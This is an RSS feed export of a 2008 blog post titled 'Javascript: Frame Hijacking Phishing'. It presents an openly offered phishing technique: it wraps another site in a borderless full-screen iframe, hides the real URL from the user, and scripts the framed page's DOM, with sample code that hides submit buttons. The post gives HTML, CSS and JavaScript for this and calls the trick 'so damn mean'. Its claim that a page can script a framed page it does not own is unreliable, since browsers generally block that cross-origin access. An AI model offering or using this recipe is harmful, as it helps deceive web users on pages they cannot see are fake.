﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ladysign Dev Blog &#187; How to phish?</title>
	<atom:link href="http://www.ladysign-apps.com/blog/tag/how-to-phish/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ladysign-apps.com/blog</link>
	<description>Girls can code.</description>
	<lastBuildDate>Mon, 01 Feb 2010 09:44:28 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Javascript: Frame Hijacking Phishing</title>
		<link>http://www.ladysign-apps.com/blog/code/javascript/javascript-frame-hijacking-phishing/</link>
		<comments>http://www.ladysign-apps.com/blog/code/javascript/javascript-frame-hijacking-phishing/#comments</comments>
		<pubDate>Mon, 27 Oct 2008 21:44:25 +0000</pubDate>
		<dc:creator>Lee</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[salesforce]]></category>
		<category><![CDATA[frame]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[How to Hijack]]></category>
		<category><![CDATA[How to phish?]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[screenscraping]]></category>
		<category><![CDATA[trick]]></category>

		<guid isPermaLink="false">http://ladysign-apps.com/blog/?p=71</guid>
		<description><![CDATA[<p><strong>Difficulty:</strong> 5 out of 5 stars</p>
<p>This hack is often used for frame hijacking/phishing technics. Imagine there&#8217;s a webpage (not yours) on where you c[......]</p>]]></description>
			<content:encoded><![CDATA[<p><strong>Difficulty:</strong> 5 out of 5 stars</p>
<p>This hack is often used for frame hijacking/phishing technics. Imagine there&#8217;s a webpage (not yours) on where you can not run code on. For example in Salesforce there are pages on which you can not implement your own code.<br />
I found out a way how you can manipulate others pages; and it&#8217;s so damn mean. (gnehgnehgneh).</p>
<p>Before showing you any code I will tell you the basics of this idea:<br />
1. Let the user go to a different URL then the one they want.<br />
2. This page contains only an iframe of the requested page, the user wants to see.<br />
The iframe loads 100%, so the user won&#8217;t see a difference. (And ofcourse you can also trick the URL adress in the adress bar so the user can not read it aswell.)<br />
3. Beside the iframe, this fake page also contains code. With this code you are controlling the codes within the iframe. (Yes you can, it&#8217;s all about DOM scripting baby!)</p>
<p>Allright, show me the money!</p>
<p>First you&#8217;ll have to add the secret iframe in your HTML. This is no rocketscience; just make sure you give the iframe an ID so you can trigger it later on. An onload javascript function. And it&#8217;s much nicer if you give a 100% width and height, scrolling 1 and frameborder and margin 0. So you almost can not see the iframe.</p>
<pre class="brush: xml;">
&lt;iframe id=&quot;theLoadedPage&quot;
	src=&quot;http://www.blankURL.com&quot;
	onload=&quot;hjackFrames('theLoadedPage')&quot; name=&quot;theLoadedPage&quot; width=&quot;100%&quot;
	height=&quot;100%&quot; scrolling=&quot;1&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot;
	marginheight=&quot;0&quot;&gt;
&lt;p&gt;Loading...&lt;/p&gt;
&lt;/iframe&gt;
</pre>
<p>If you are a perfectionist like me, then add some extra css styles, to make it even more nicer; and let the iframe overrule the orginal screen.</p>
<pre class="brush: css;">
html {
	overflow: hidden;
}

html,body {
	width: 100%;
	height: 100%;
	margin: 0px;
	padding: 0px;
}

iframe {
	overflow: hidden-x;
}
</pre>
<p>Now start writing the code trick.<br />
First you&#8217;ll need a main function, which request the page in the iframe on 100%.</p>
<pre class="brush: jscript;">
function main() {
	var loadPageSrc = document.getElementById(&quot;theLoadedPage&quot;);
	loadPageSrc .setAttribute(&quot;src&quot;,&quot;http://www.newLoadedPage.com&quot;);
}
</pre>
<p>Now here&#8217;s the hack. I built it in a try/catch closure handle errors.</p>
<pre class="brush: jscript;">
function hjackFrames(id){
try {
		var frame=document.getElementById(id);
		var inside;
		if (frame.tagName!='IFRAME'){
			return;
		}

		inside=window.frames[id].document.getElementsByTagName('BODY')[0];

/* this part is not part of the hack, but from here you can manipulate the page,
for example; hide all submit buttons. */
		var allInputs=[];
		allInputs=inside.getElementsByTagName('INPUT');
		for (var i=0;i&lt;allInputs.length;i++){
			if(allInputs[i].type == &quot;submit&quot;){
				allInputs[i].style.display = &quot;none&quot;;
			}
		}

} catch(err) {
                  /* do other nice things, here since the hack is failing */
	}
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ladysign-apps.com/blog/code/javascript/javascript-frame-hijacking-phishing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
